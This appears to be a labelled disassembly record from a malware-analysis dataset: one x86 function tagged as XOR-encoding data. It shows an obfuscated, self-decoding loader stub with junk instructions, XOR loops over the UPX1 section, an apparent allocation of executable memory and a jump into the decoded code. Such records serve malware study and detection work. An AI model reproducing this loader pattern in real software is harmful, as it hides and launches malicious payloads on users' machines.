Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x86331e24
or edi, edi
or edi, edi
dec edi
popal
add edx, 0xbaa7bb60
sub edx, 1
add edi, 0xa8ca9fac
mov edi, 0
mov ecx, edx
mov eax, esi
mov esi, 0x29dda995
mov ebx, ecx
dec eax
sub esi, 1
mov edx, ebx
sub esi, 0x87145431
sub eax, 0x3a96ba66
inc edi
sub eax, esi
add eax, eax
cmp edi, 0x100612c
jne 0x4c474f
and eax, eax
add esi, 0x88ec5671
dec eax
mov edx, edi
sub edi, 0x69ebf5ee
mov ecx, 0x4c4516
mov edi, 0xd2021703
sub ebx, edi
mov edx, 0x4c470a
inc ebx
sub eax, edi
mov edi, 0xdadd94b1
mov esi, dword [ecx]
or edi, eax
not ebx
and esi, 0xff
add ebx, 0x616beccd
not edi
xor dword [edx], esi
dec edi
add edi, ebx
inc edx
mov edi, eax
and edi, edi
inc ecx
and ebx, eax
inc eax
add edi, edi
cmp edx, entry0
jl 0x4c47aa
add eax, ebx
not ebx
add edi, eax
not eax
or edi, ebx
not esi
not edx
sub ebx, 0x9ec5611a
mov ecx, 0x4c470e
mov esi, 0xe6ff416d
sub ebx, edi
mov ecx, dword [ecx]
add edi, 0xc449eac8
sub edi, edx
mov ecx, dword [ecx]
mov edi, ebx
not ebx
sub esp, 4
mov dword [esp], ecx
sub edx, 0x528a6659
sub ebx, 0xd8c81f21
mov ecx, 0x4c470a
sub edx, edi
add edi, 0xe4f63cce
and ebx, edi
mov ecx, dword [ecx]
mov edi, ebx
add edx, esi
sub edx, esi
mov ecx, dword [ecx]
sub esi, ebx
sub edi, ebx
push 0x4c4712
not esi
mov ebx, 0x4eca1379
mov edi, 0x493d98dc
call ecx
inc esi
inc ebx
not esi
pop ecx
inc edi
mov esi, 0x87bd85d9
mov edx, ebx
push 0x4c471f
dec edi
mov ebx, esi
dec esi
sub esp, 4
mov dword [esp], eax
or esi, ebx
mov edx, 0x49caf2d3
call ecx
mov esi, edx
sub edi, ebx
sub esp, 4
mov dword [esp], 0x40
add ebx, 0xb7a38cf6
sub esi, edi
or esi, edi
sub esp, 4
mov dword [esp], 0x3000
and edx, edi
add edx, esi
add esi, 0x2e62432
sub esp, 4
mov dword [esp], 0x20000253
mov ebx, esi
mov ebx, edi
push 0
or ebx, ebx
mov ebx, esi
sub ebx, 1
call eax
and edi, esi
not esi
sub edx, esi
add eax, 0x2000018c
mov ebx, 0x40a67403
mov esi, edx
mov ecx, 0xa9dc7b79
mov edi, edx
add esi, ebx
sub ebx, 0x4312c000
mov dword [eax], ecx
dec edi
sub ebx, 0x49909fea
dec ebx
mov ecx, dword [eax]
add ebx, ebx
dec esi
cmp ecx, 0xa9dc7b79
je 0x4c48fc
mov edx, 0
mov dword [edx], ebx
sub ebx, esi
add ebx, esi
not ebx
or edi, esi
mov ebx, 0xd444127e
or edx, edi
sub edi, 0x2f4a2274
sub edi, edx
mov ebx, section.UPX1
or edi, edi
mov edi, 0x2ee80a1e
mov esi, 0x4c4515
inc edi
mov edi, 0xebfe01
mov ecx, 0
not edi
sub edi, 0xdf4513a1
add edi, 0xc5e4a0b
mov eax, 0x4c4516
not edi
and edi, edx
lea eax, [eax + ecx]
sub edx, edi
add edi, edx
dec edi
mov eax, dword [eax]
or edx, edx
add edx, 0x317351d4
and eax, 0xff
add edx, 0xf0fcdad8
not edi
add ecx, 1
add edi, 0xea9a1abc
mov edx, 0x370f1c3e
add edi, edx
cmp ecx, 0x1f4
jne 0x4c4986
mov ecx, 0
sub edi, 0x713ef837
or edx, edi
or edi, edx
mov edx, edi
mov edi, 0x96e920b7
xor dword [ebx], eax
and edx, edx
dec edi
mov edi, edx
add ebx, 2
mov edi, edx
dec edi
cmp ebx, esi
jl 0x4c493d
mov edx, 0x1b2e4a1f
mov edx, edi
add edi, 0xe2cb27e5
not edx
add edx, 0xe39b2cda
and edi, edi
mov eax, section.UPX1
not edi
dec edi
mov ebx, section.UPX1
not edi
dec edi
mov edx, 0x4c4515
mov edi, 0xea2a45e2
add edi, 0x2a38a9b4
sub edi, esi
mov ecx, 0
not edi
or esi, edi
and edi, edi
mov cl, byte [ebx]
add esi, esi
and esi, edi
mov byte [eax], cl
mov edi, 0xc928e088
add esi, edi
inc edi
inc eax
add esi, 0x2f11da54
add esi, 1
add ebx, 2
mov edi, 0x73a9c37
inc edi
sub edi, 1
cmp ebx, edx
jle 0x4c49f3
add edi, 0x23f20e9c
mov esi, 0x55ef3c56
add edi, 0xc8a7e2a9
and edi, edi
sub edi, 0x5481a24a
push 0x4956a0
add edi, 0x9459c820
mov edx, 0xf3ba7cf0
ret